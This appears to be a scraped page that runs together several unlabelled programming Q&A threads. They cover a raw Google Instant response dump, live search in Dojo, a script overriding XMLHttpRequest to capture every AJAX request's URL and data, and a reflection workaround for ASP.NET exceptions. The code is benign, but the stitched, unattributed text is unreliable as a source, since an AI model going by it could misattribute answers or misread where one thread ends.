\\x3cb\\x3e...\\x3c/b\\x3e\\x3cbr\\x3e\\x3cspan class\\x3df\\x3e\\x3ccite\\x3eblog.\\x3cb\\x3estackoverflow\\x3c/b\\x3e.com/\\x3c/cite\\x3e - \\x3cspan class\\x3dgl\\x3e\\x3ca href\\x3d\\x22http://webcache.googleusercontent.com/search?q\\x3dcache:iqtvg9Ge1c0J:blog.stackoverflow.com/+Stack+Overflow\\x26amp;cd\\x3d4\\x26amp;hl\\x3den\\x26amp;ct\\x3dclnk\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x274\\x27,\\x27AFQjCNFX2P2-RTCs_GaR6NgSw30p007UEA\\x27,\\x27\\x27,\\x270CC8QIDAD\\x27)\\x22\\x3eCached\\x3c/a\\x3e - \\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3drelated:blog.stackoverflow.com/+Stack+Overflow\\x26amp;tbo\\x3d1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CDAQHzAD\\x22\\x3eSimilar\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/span\\x3e\\x3c/div\\x3e\\x3c!--n--\\x3e\x27,_ss);\x3c/script\x3e"
}/*""*/{
e: "j9iHTLXlLNmXOJLQ3cMO",
c: 1,
u: "http://www.google.com/search?hl\x3den\x26expIds\x3d17259,24472,24923,25260,25901,25907,26095,26446,26530\x26sugexp\x3dldymls\x26xhr\x3dt\x26q\x3dStack%20Overflow\x26cp\x3d6\x26pf\x3dp\x26sclient\x3dpsy\x26aq\x3df\x26aqi\x3dg4g-o1\x26aql\x3d\x26oq\x3dStack+\x26gs_rfai\x3d\x26pbx\x3d1\x26fp\x3df97fdf10596ae095\x26tch\x3d1\x26ech\x3d1\x26psi\x3dj9iHTO3xBo2CONvDzaEO12839712156911",
d: "\x3cscript\x3eje.pa(_loc, \x27rso\x27, \x27\\x3c!--m--\\x3e\\x3cli class\\x3dg style\\x3d\\x22margin-left:16px\\x22\\x3e\\x3ch3 class\\x3d\\x22r hcw\\x22\\x3e\\x3ca href\\x3d\\x22http://blog.stackoverflow.com/category/podcasts/\\x22 class\\x3dl onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x275\\x27,\\x27AFQjCNGnAJSxUa4GLcg-E7PNvIFmPC53gQ\\x27,\\x27\\x27,\\x270CDEQFjAE\\x27)\\x22\\x3epodcasts - Blog ? \\x3cem\\x3eStack Overflow\\x3c/em\\x3e\\x3c/a\\x3e\\x3c/h3\\x3e\\x3cdiv class\\x3d\\x22s hc\\x22\\x3eJoel and Jeff sit down with our new community coordinator, Robert Cartaino, to record a ?bonus? podcast discussing the future of \\x3cem\\x3eStack Overflow\\x3c/em\\x3e and Stack \\x3cb\\x3e...\\x3c/b\\x3e\\x3cbr\\x3e\\x3cspan class\\x3df\\x3e\\x3ccite\\x3eblog.\\x3cb\\x3estackoverflow\\x3c/b\\x3e.com/category/podcasts/\\x3c/cite\\x3e - \\x3cspan class\\x3dgl\\x3e\\x3ca href\\x3d\\x22http://webcache.googleusercontent.com/search?q\\x3dcache:JT0sWmmtiAEJ:blog.stackoverflow.com/category/podcasts/+Stack+Overflow\\x26amp;cd\\x3d5\\x26amp;hl\\x3den\\x26amp;ct\\x3dclnk\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x275\\x27,\\x27AFQjCNErCiLBch55HA8i5BAdChcmQYH8nw\\x27,\\x27\\x27,\\x270CDMQIDAE\\x27)\\x22\\x3eCached\\x3c/a\\x3e - \\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3drelated:blog.stackoverflow.com/category/podcasts/+Stack+Overflow\\x26amp;tbo\\x3d1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CDQQHzAE\\x22\\x3eSimilar\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/span\\x3e\\x3c/div\\x3e\\x3c!--n--\\x3e\\x3c!--m--\\x3e\\x3cli class\\x3dg\\x3e\\x3ch3 class\\x3d\\x22r\\x22\\x3e\\x3ca href\\x3d\\x22http://itc.conversationsnetwork.org/series/stackoverflow.html\\x22 class\\x3dl onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x276\\x27,\\x27AFQjCNHG9l1PMbilYkhohNFuj3g6ce1LuA\\x27,\\x27\\x27,\\x270CDUQFjAF\\x27)\\x22\\x3e\\x3cem\\x3eStackOverflow\\x3c/em\\x3e\\x3c/a\\x3e\\x3c/h3\\x3e\\x3cdiv class\\x3d\\x22s\\x22\\x3eJoel and Jeff sit down with our new community coordinator, Robert Cartaino, to discuss the future of \\x3cem\\x3eStack Overflow\\x3c/em\\x3e and Stack Exchange 2.0. \\x3cb\\x3e...\\x3c/b\\x3e\\x3cbr\\x3e\\x3cspan class\\x3df\\x3e\\x3ccite\\x3eitc.conversationsnetwork.org/series/\\x3cb\\x3estackoverflow\\x3c/b\\x3e.html\\x3c/cite\\x3e - \\x3cspan class\\x3dgl\\x3e\\x3ca href\\x3d\\x22http://webcache.googleusercontent.com/search?q\\x3dcache:8MkFpx7D4wYJ:itc.conversationsnetwork.org/series/stackoverflow.html+Stack+Overflow\\x26amp;cd\\x3d6\\x26amp;hl\\x3den\\x26amp;ct\\x3dclnk\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x276\\x27,\\x27AFQjCNFP62Bg_o2kaz3jzXxzsrTs_7RdNA\\x27,\\x27\\x27,\\x270CDcQIDAF\\x27)\\x22\\x3eCached\\x3c/a\\x3e - \\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3drelated:itc.conversationsnetwork.org/series/stackoverflow.html+Stack+Overflow\\x26amp;tbo\\x3d1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CDgQHzAF\\x22\\x3eSimilar\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/span\\x3e\\x3c/div\\x3e\\x3c!--n--\\x3e\\x3c!--m--\\x3e\\x3cli class\\x3dg\\x3e\\x3ch3 class\\x3d\\x22r\\x22\\x3e\\x3ca href\\x3d\\x22http://support.microsoft.com/kb/145799\\x22 class\\x3dl onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x277\\x27,\\x27AFQjCNHzyj5rHEX7IiyFWnP0ziE3B32rGg\\x27,\\x27\\x27,\\x270CDkQFjAG\\x27)\\x22\\x3eHow to Troubleshoot Windows Internal \\x3cem\\x3eStack Overflow\\x3c/em\\x3e Error Messages\\x3c/a\\x3e\\x3c/h3\\x3e\\x3cdiv class\\x3d\\x22s\\x22\\x3eThis article lists steps to help you troubleshoot problems with \\x3cem\\x3estack overflow\\x3c/em\\x3e errors in Windows. Stacks are reserved memory that programs use to process \\x3cb\\x3e...\\x3c/b\\x3e\\x3cbr\\x3e\\x3cspan class\\x3df\\x3e\\x3ccite\\x3esupport.microsoft.com/kb/145799\\x3c/cite\\x3e - \\x3cspan class\\x3dgl\\x3e\\x3ca href\\x3d\\x22http://webcache.googleusercontent.com/search?q\\x3dcache:ECO9ORCsraAJ:support.microsoft.com/kb/145799+Stack+Overflow\\x26amp;cd\\x3d7\\x26amp;hl\\x3den\\x26amp;ct\\x3dclnk\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x277\\x27,\\x27AFQjCNHYsox9EW1Ye9Nn2G6WQzEpJDOzcw\\x27,\\x27\\x27,\\x270CDsQIDAG\\x27)\\x22\\x3eCached\\x3c/a\\x3e - \\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3drelated:support.microsoft.com/kb/145799+Stack+Overflow\\x26amp;tbo\\x3d1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CDwQHzAG\\x22\\x3eSimilar\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/span\\x3e\\x3c/div\\x3e\\x3c!--n--\\x3e\\x3c!--m--\\x3e\\x3cli class\\x3dg\\x3e\\x3ch3 class\\x3d\\x22r\\x22\\x3e\\x3ca href\\x3d\\x22http://stackoverflow.carsonified.com/\\x22 class\\x3dl onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x278\\x27,\\x27AFQjCNHcEPoch5soLj2CpLpRfnW-Z2-aLw\\x27,\\x27\\x27,\\x270CD0QFjAH\\x27)\\x22\\x3e\\x3cem\\x3eStackOverflow\\x3c/em\\x3e DevDays » Home\\x3c/a\\x3e\\x3c/h3\\x3e\\x3cdiv class\\x3d\\x22s\\x22\\x3e\\x3cem\\x3eStackOverflow\\x3c/em\\x3e Dev Days is run by Carsonified, so please give us a shout if you need anything or are interested in sponsoring the event. \\x3cb\\x3e...\\x3c/b\\x3e\\x3cbr\\x3e\\x3cspan class\\x3df\\x3e\\x3ccite\\x3e\\x3cb\\x3estackoverflow\\x3c/b\\x3e.carsonified.com/\\x3c/cite\\x3e - \\x3cspan class\\x3dgl\\x3e\\x3ca href\\x3d\\x22http://webcache.googleusercontent.com/search?q\\x3dcache:uhl8NPgikN0J:stackoverflow.carsonified.com/+Stack+Overflow\\x26amp;cd\\x3d8\\x26amp;hl\\x3den\\x26amp;ct\\x3dclnk\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x278\\x27,\\x27AFQjCNFf9Vl5L3FaQGPapUpIFw5gqVUCnA\\x27,\\x27\\x27,\\x270CD8QIDAH\\x27)\\x22\\x3eCached\\x3c/a\\x3e - \\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3drelated:stackoverflow.carsonified.com/+Stack+Overflow\\x26amp;tbo\\x3d1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CEAQHzAH\\x22\\x3eSimilar\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/span\\x3e\\x3c/div\\x3e\\x3c!--n--\\x3e\\x3c!--m--\\x3e\\x3cli class\\x3dg\\x3e\\x3ch3 class\\x3d\\x22r\\x22\\x3e\\x3ca href\\x3d\\x22http://stackoverflow.org/\\x22 class\\x3dl onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x279\\x27,\\x27AFQjCNF-YrPvTLTJlFFDJrJE0cjGdlOpbg\\x27,\\x27\\x27,\\x270CEEQFjAI\\x27)\\x22\\x3e\\x3cem\\x3eStackOverflow\\x3c/em\\x3e.org\\x3c/a\\x3e\\x3c/h3\\x3e\\x3cdiv class\\x3d\\x22s\\x22\\x3e\\x3cem\\x3eStackOverflow\\x3c/em\\x3e.org began as the merging of two ideas that have been kicking around in my head for years. First, I wanted a dorky programming-related domain \\x3cb\\x3e...\\x3c/b\\x3e\\x3cbr\\x3e\\x3cspan class\\x3df\\x3e\\x3ccite\\x3e\\x3cb\\x3estackoverflow\\x3c/b\\x3e.org/\\x3c/cite\\x3e - \\x3cspan class\\x3dgl\\x3e\\x3ca href\\x3d\\x22http://webcache.googleusercontent.com/search?q\\x3dcache:u0dIlJW-XMYJ:stackoverflow.org/+Stack+Overflow\\x26amp;cd\\x3d9\\x26amp;hl\\x3den\\x26amp;ct\\x3dclnk\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x279\\x27,\\x27AFQjCNHcJcV2QVybr6voztyPwHCrNOOD1w\\x27,\\x27\\x27,\\x270CEMQIDAI\\x27)\\x22\\x3eCached\\x3c/a\\x3e - \\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3drelated:stackoverflow.org/+Stack+Overflow\\x26amp;tbo\\x3d1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CEQQHzAI\\x22\\x3eSimilar\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/span\\x3e\\x3c/div\\x3e\\x3c!--n--\\x3e\\x3c!--m--\\x3e\\x3cli class\\x3dg\\x3e\\x3ch3 class\\x3d\\x22r\\x22\\x3e\\x3ca href\\x3d\\x22http://embeddedgurus.com/stack-overflow/\\x22 class\\x3dl onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x2710\\x27,\\x27AFQjCNFYQ5E8irNUCpRsbOHHyfc0oqGpWw\\x27,\\x27\\x27,\\x270CEUQFjAJ\\x27)\\x22\\x3e\\x3cem\\x3eStack Overflow\\x3c/em\\x3e\\x3c/a\\x3e\\x3c/h3\\x3e\\x3cdiv class\\x3d\\x22s\\x22\\x3e\\x3cem\\x3eStack Overflow\\x3c/em\\x3e. Nigel Jones. Nigel Jones has over 20 years of experience designing electronic circuits and firmware. (full bio). Pages. Contact Nigel. Links \\x3cb\\x3e...\\x3c/b\\x3e\\x3cbr\\x3e\\x3cspan class\\x3df\\x3e\\x3ccite\\x3eembeddedgurus.com/\\x3cb\\x3estack\\x3c/b\\x3e-\\x3cb\\x3eoverflow\\x3c/b\\x3e/\\x3c/cite\\x3e - \\x3cspan class\\x3dgl\\x3e\\x3ca href\\x3d\\x22http://webcache.googleusercontent.com/search?q\\x3dcache:Rl_rUfEG_fIJ:embeddedgurus.com/stack-overflow/+Stack+Overflow\\x26amp;cd\\x3d10\\x26amp;hl\\x3den\\x26amp;ct\\x3dclnk\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x2710\\x27,\\x27AFQjCNFqMjsc1pBI9JexjMSPY7wm5QLI8w\\x27,\\x27\\x27,\\x270CEcQIDAJ\\x27)\\x22\\x3eCached\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/span\\x3e\\x3c/div\\x3e\\x3c!--n--\\x3e\x27,_ss);\x3c/script\x3e"
}/*""*/{
e: "j9iHTLXlLNmXOJLQ3cMO",
c: 1,
u: "http://www.google.com/search?hl\x3den\x26expIds\x3d17259,24472,24923,25260,25901,25907,26095,26446,26530\x26sugexp\x3dldymls\x26xhr\x3dt\x26q\x3dStack%20Overflow\x26cp\x3d6\x26pf\x3dp\x26sclient\x3dpsy\x26aq\x3df\x26aqi\x3dg4g-o1\x26aql\x3d\x26oq\x3dStack+\x26gs_rfai\x3d\x26pbx\x3d1\x26fp\x3df97fdf10596ae095\x26tch\x3d1\x26ech\x3d1\x26psi\x3dj9iHTO3xBo2CONvDzaEO12839712156911",
d: "\x3cscript\x3eje.p(_loc,\x27botstuff\x27,\x27 \\x3cdiv id\\x3dbrs style\\x3d\\x22clear:both;margin-bottom:17px;overflow:hidden\\x22\\x3e\\x3cdiv class\\x3d\\x22med\\x22 style\\x3d\\x22text-align:left\\x22\\x3eSearches related to \\x3cem\\x3eStack Overflow\\x3c/em\\x3e\\x3c/div\\x3e\\x3cdiv class\\x3dbrs_col\\x3e\\x3cp\\x3e\\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3dstack+overflow+error\\x26amp;revid\\x3d-1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CEkQ1QIoAA\\x22\\x3estack overflow \\x3cb\\x3eerror\\x3c/b\\x3e\\x3c/a\\x3e\\x3c/p\\x3e\\x3cp\\x3e\\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3dstack+overflow+internet+explorer\\x26amp;revid\\x3d-1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CEoQ1QIoAQ\\x22\\x3estack overflow \\x3cb\\x3einternet explorer\\x3c/b\\x3e\\x3c/a\\x3e\\x3c/p\\x3e\\x3cp\\x3e\\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3dfix+stack+overflow\\x26amp;revid\\x3d-1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CEsQ1QIoAg\\x22\\x3e\\x3cb\\x3efix\\x3c/b\\x3e stack overflow\\x3c/a\\x3e\\x3c/p\\x3e\\x3cp\\x3e\\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3dstack+overflow+xp\\x26amp;revid\\x3d-1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CEwQ1QIoAw\\x22\\x3estack overflow \\x3cb\\x3exp\\x3c/b\\x3e\\x3c/a\\x3e\\x3c/p\\x3e\\x3c/div\\x3e\\x3cdiv class\\x3dbrs_col\\x3e\\x3cp\\x3e\\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3dstack+overflow+javascript\\x26amp;revid\\x3d-1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CE0Q1QIoBA\\x22\\x3estack overflow \\x3cb\\x3ejavascript\\x3c/b\\x3e\\x3c/a\\x3e\\x3c/p\\x3e\\x3cp\\x3e\\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3dstack+overflow+java\\x26amp;revid\\x3d-1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CE4Q1QIoBQ\\x22\\x3estack overflow \\x3cb\\x3ejava\\x3c/b\\x3e\\x3c/a\\x3e\\x3c/p\\x3e\\x3cp\\x3e\\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3dstack+overflow+c%2B%2B\\x26amp;revid\\x3d-1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CE8Q1QIoBg\\x22\\x3estack overflow \\x3cb\\x3ec++\\x3c/b\\x3e\\x3c/a\\x3e\\x3c/p\\x3e\\x3cp\\x3e\\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3dstack+overflow+windows+xp\\x26amp;revid\\x3d-1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFAQ1QIoBw\\x22\\x3estack overflow \\x3cb\\x3ewindows xp\\x3c/b\\x3e\\x3c/a\\x3e\\x3c/p\\x3e\\x3c/div\\x3e\\x3c/div\\x3e \x27,_ss);/* */\x3c/script\x3e"
}/*""*/
Further non-technical reading:
As others have said, Google is instantly returning the results for the top result of what Google Suggest suggests. Therefore, if you type in fac, Google Suggests thinks you are typing in facebook. Interestingly, only the partial search term, fac, is sent to Google in the JSON request, so Google Suggest is used at both ends.
Searches are not actually performed on every keystroke. If you type fast enough, some can get missed.
I suspect this doesn't increase the load on Google's servers as much as you might think. Most of the additional searches are for very popular words when you start typing stuff in ? if you starting searching for something beginning with f, it will search for facebook, if you start searching for something beginning with ju, it will search for justin bieber. Thanks to caching, these searches are not very expensive to do.
It's predictive. The search results are from the first autocomplete suggestion (or the selected one if you hit the down arrow or mouse over a suggestion).
In other words if I type "vinyl s", the first autocomplete suggestion is "vinyl siding," and the search results clearly show a search for "vinyl siding." If I do a normal google search for "vinyl s," the search results are different.
So google instant is predictive in a way that normal google searches are not... it searches for the suggested autocompletion instead of the literal unfinished search query.
Converting the first value from key u in Daniel Vassallo's answer's Ajax response gives a URL, which then leads to some (invalid) JSON. I'm not sure what this bit is for yet.
The d gives some HTML, which gets inserted into the page. Here's a slightly decompressed version. It's mostly a script tag, which passes in 2 further chunks of HTML to a function je.pa(). These chunks seem to be the same as the non-instant search results.
I want to implement a 'live search' or 'search suggestions' feature in a web application that uses the Dojo Framework. It would be similar to the way Google and Bing searches display matches as you type: when you type in the search box, a list of potential matches appears below. Searches would be performed server side, with the results sent back to the browser using AJAX.
Does anyone know of a good way to implement this using Dojo?
Here are some potential options:
The built-in widget dijit.form.ComboBox
This has very similar functionality, but I've only seen it used with limited data sets. The examples always use small lists (such as the 50 states in USA) and preload the entire data set for client-side filtering. However I presume I could hook it up to a dojox.data.JsonQueryRestStore for server-side search ? can anyone confirm whether that works?
QueryBox http://marumushi.com/code/querybox/
This implementation mainly does the job, but it has some minor bugs and doesn't look like it's being maintained. I'd have to do some bugfixes on the code before using it.
Medryx http://blog.medryx.org/2008/09/10/dijitsearch-part-2/
This also looks like it does the job, but it is described as 'alpha-level' code and the link to the code seems to be broken...
I could probably make one of the above work, but I'd like to know if there are any better alternatives out there.
I implemented it 5 years ago when Dojo was at 0.2:
While the code is ancient, it is trivial, and hopefully it'll give you ideas on how to attack it. The rough sketch:
In the blog post I implemented it as a widget. Obviously the exact packaging is up to you.
Okay so basically I want to have a bit of javascript on a page that somehow attaches some kind of global event listener that can detect and do something if an ajax request is made (without directly calling it from the call), regardless of how the ajax call is made.
I figured out how to do this with jquery - if the ajax request is being done by jquery. Here is an example code for this:
$.post(
// requested script
'someScript.php',
// data to send
{
'foo' : 'bar',
'a' : 'b'
},
// receive response
function(response){
// do something
}
); // .post
// global event listener
$(document).ajaxSend(
function(event,request,settings){
alert(settings.url); // output: "someScript.php"
alert(settings.data); // output: "foo=bar&a=b"
}
);
With this code, regardless of where/how I call $.post(..), the global event listener will trigger. It also works if I use $.get or $.ajax (any jquery ajax methods), regardless of how/when I call it (attached as an onclick, on page load, whatever).
However, I want to be able to extend this listener to trigger regardless of what js framework is used, or even if no framework is used. So for instance if I were to also have on a page the following code (generic ajax code from w3schools):
function loadXMLDoc()
{
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","test.txt",true);
xmlhttp.send();
}
And then I have on some random link an onclick call to that function, my global ajax event listener should be able to also detect this request. Well I added that code to my page and attached it to a random link's onclick (yes, the code itself works), but the jquery "global event listener" code above failed to detect that call.
I did some more digging and I know I can basically save the object to a temp object and overwrite the current object with a "wrapper" object that will call a specified function and then call the temp function, but this requires me to know ahead of time the original object being created/used. But I won't always know that ahead of time...
So...is this possible? Is there some way to detect an ajax get/post request was made, regardless of whether it was done with a generic object or from xyz framework? Or am I just going to have to make duplicate code to handle each framework and also know ahead of time the ajax object(s) being created/used?
edit:
I forgot to mention that it is not enough to detect that a request occurred. I also need to capture the data being sent in the request. The link provided in the comments below will help figure out if "a" request was made, but not get the data sent. p.s. - the answer provided in the link below is not very clear, at least to me anyways.
Okay this is what I have come up with so far:
<script type='text/javascript'>
var s_ajaxListener = new Object();
s_ajaxListener.tempOpen = XMLHttpRequest.prototype.open;
s_ajaxListener.tempSend = XMLHttpRequest.prototype.send;
s_ajaxListener.callback = function () {
// this.method :the ajax method used
// this.url :the url of the requested script (including query string, if any) (urlencoded)
// this.data :the data sent, if any ex: foo=bar&a=b (urlencoded)
}
XMLHttpRequest.prototype.open = function(a,b) {
if (!a) var a='';
if (!b) var b='';
s_ajaxListener.tempOpen.apply(this, arguments);
s_ajaxListener.method = a;
s_ajaxListener.url = b;
if (a.toLowerCase() == 'get') {
s_ajaxListener.data = b.split('?');
s_ajaxListener.data = s_ajaxListener.data[1];
}
}
XMLHttpRequest.prototype.send = function(a,b) {
if (!a) var a='';
if (!b) var b='';
s_ajaxListener.tempSend.apply(this, arguments);
if(s_ajaxListener.method.toLowerCase() == 'post')s_ajaxListener.data = a;
s_ajaxListener.callback();
}
</script>
DIRECTIONS:
Just c/p this onto your page or include it in a .js file or whatever. This will create an object called s_ajaxListener. When s_ajaxListener.callback() is called, the following properties are available:
s_ajaxListener.method : The ajax method used. This should be either GET or POST. NOTE: the value may not always be uppercase, it depends on how the specific request was coded. I'm debating the wisdom of automatically upper-casing it or leaving it to something else to toLowerCase() for a case-insensitive comparison.
s_ajaxListener.url : The url of the requested script (including query string, if any) (urlencoded). I have noticed, depending on how the data is sent and from which browser/framework, for example this value could end up being as " " or "+" or "%20". I am debating the wisdom of decoding it here or leave it to something else.
s_ajaxListener.data : the data sent, if any ex: foo=bar&a=b (same 'issue' as .url with it being url-encoded)
NOTES:
As it stands, this is not IE6 compatible. this solution is not quite good enough for me, as I want it to be IE6 compatible. But since a lot of other people don't care about IE6, I decided to post my solution in its current state, as it should work for you if you don't care about IE6.
I have tested this in (as of this posted date): Current Safari, Current Chrome, Current FireFox, IE8, IE8 (IE7 Compatible). It doesn't currently work with IE6 because IE6 uses an ActiveX object, while virtually everything else uses XMLHttpRequest.
Right now I don't have any clue how to, well basically prototype/extend/overload (?) ActiveXObject("Microsoft.XMLHTTP"). This is what I am currently researching...does anybody know offhand?
Under each of the browsers I tested above, this works with AJAX requests from a generic object, and also from the jquery and prototype frameworks. I know there are other frameworks out there, but IMO these 2 are the major ones. I might possibly QA MooTools, but other than that, I'm fine with only testing those.
If Anybody wants to contribute by testing and posting results about other browsers and/or frameworks, it would be appreciated :)
I'd like to trap any unhandled exception thrown in an ASP.NET web service, but nothing I've tried has worked so far.
First off, the HttpApplication.Error event doesn't fire on web services, so that's out..
The next approach was to implement a soap extension, and add it to web.config with:
<soapExtensionTypes>
<add type="Foo" priority="1" group="0" />
</soapExtensionTypes>
However, this doesn't work if you call the web method over JSON (which my web site does exclusively)..
My next idea would be to write my own HttpHandler for .asmx, which would hopefully derive from System.Web.Script.Services.ScriptHandlerFactory and do something smart. I haven't tried this yet.
Is there an approach I'm missing? Thanks!
Mike
UPDATE:
I'll summarize the possibly solutions here:
1) Upgrade to WCF which makes this whole thing much, much easier.
2) Since you cannot sub-class or override the RestHandler class, you would have to re-implement the whole thing as your own IHttpHandler or use reflection to manually call into its methods. Since the source to RestHandler is public and only about 500 lines long, making your own version might not be a huge amount of work but you'd then be responsible for maintaining it. I'm also unaware of any licensing restrictions involved with this code.
3) You can wrap your methods in try/catch blocks, or perhaps use LAMBDA expressions to make this code a bit cleaner. It would still require you to modify each method in your web service.
This a good question. I've had this problem in the web app that I work on. I'm afraid my solution wasn't smart in any way. I simply wrapped in the code in each web service method in a try/catch and returned an object which indicated whether the method had run successfully or not. Fortunately my app doesn't have a massive number of web service calls so I can get away will this. I appreciate it's not a good solution if you're doing loads of web service calls.
As described in C# - Capture all unhandled exceptions automaticly with WebService there really is no good solution.
The reason that you cannot capture the HttpApplication.Error etc has to do with how the RestHandler has been implemented by the good folks at Microsoft. Specifically, the RestHandler explicitly catches (handles) the exception and writes out the exception details to the Response:
internal static void ExecuteWebServiceCall(HttpContext context, WebServiceMethodData methodData)
{
try
{
NamedPermissionSet namedPermissionSet = HttpRuntime.NamedPermissionSet;
if (namedPermissionSet != null)
{
namedPermissionSet.PermitOnly();
}
IDictionary<string, object> rawParams = GetRawParams(methodData, context);
InvokeMethod(context, methodData, rawParams);
}
catch (Exception exception)
{
WriteExceptionJsonString(context, exception);
}
}
To make matters worse, there is no clean extension point (that I could find) where you can change/extend the behavior. If you want to go down the path of writing your own IHttpHandler, I believe you will pretty much have to re-implement the RestHandler (or RestHandlerWithSession); regardless Reflector will be your friend.
For those that may choose to modify their WebMethods
If you are using Visual Studio 2008 or later, using Lambda expressions makes things not too bad (although not global/generic solution) in terms or removing duplicated code.
[WebMethod]
[ScriptMethod(UseHttpGet = true, ResponseFormat = ResponseFormat.Json)]
public String GetServerTime()
{
return Execute(() => DateTime.Now.ToString());
}
public T Execute<T>(Func<T> action)
{
if (action == null)
throw new ArgumentNullException("action");
try
{
return action.Invoke();
}
catch (Exception ex)
{
throw; // Do meaningful error handling/logging...
}
}
Where Execute can be implemented in a subclass of WebService or as an extension method.
UPDATE: Reflection Evil
As mentioned in my origional answer, you can abuse reflection to get what you want... specifically you can create your own HttpHandler that makes use of the internals of the RestHandler to provide an interception point for capturing exception details. I have include an "unsafe" code example below to get you started.
Personally, I would NOT use this code; but it works.
namespace WebHackery
{
public class AjaxServiceHandler : IHttpHandler
{
private readonly Type _restHandlerType;
private readonly MethodInfo _createHandler;
private readonly MethodInfo _getRawParams;
private readonly MethodInfo _invokeMethod;
private readonly MethodInfo _writeExceptionJsonString;
private readonly FieldInfo _webServiceMethodData;
public AjaxServiceHandler()
{
_restHandlerType = typeof(ScriptMethodAttribute).Assembly.GetType("System.Web.Script.Services.RestHandler");
_createHandler = _restHandlerType.GetMethod("CreateHandler", BindingFlags.NonPublic | BindingFlags.Static, null, new[] { typeof(HttpContext) }, null);
_getRawParams = _restHandlerType.GetMethod("GetRawParams", BindingFlags.NonPublic | BindingFlags.Static);
_invokeMethod = _restHandlerType.GetMethod("InvokeMethod", BindingFlags.NonPublic | BindingFlags.Static);
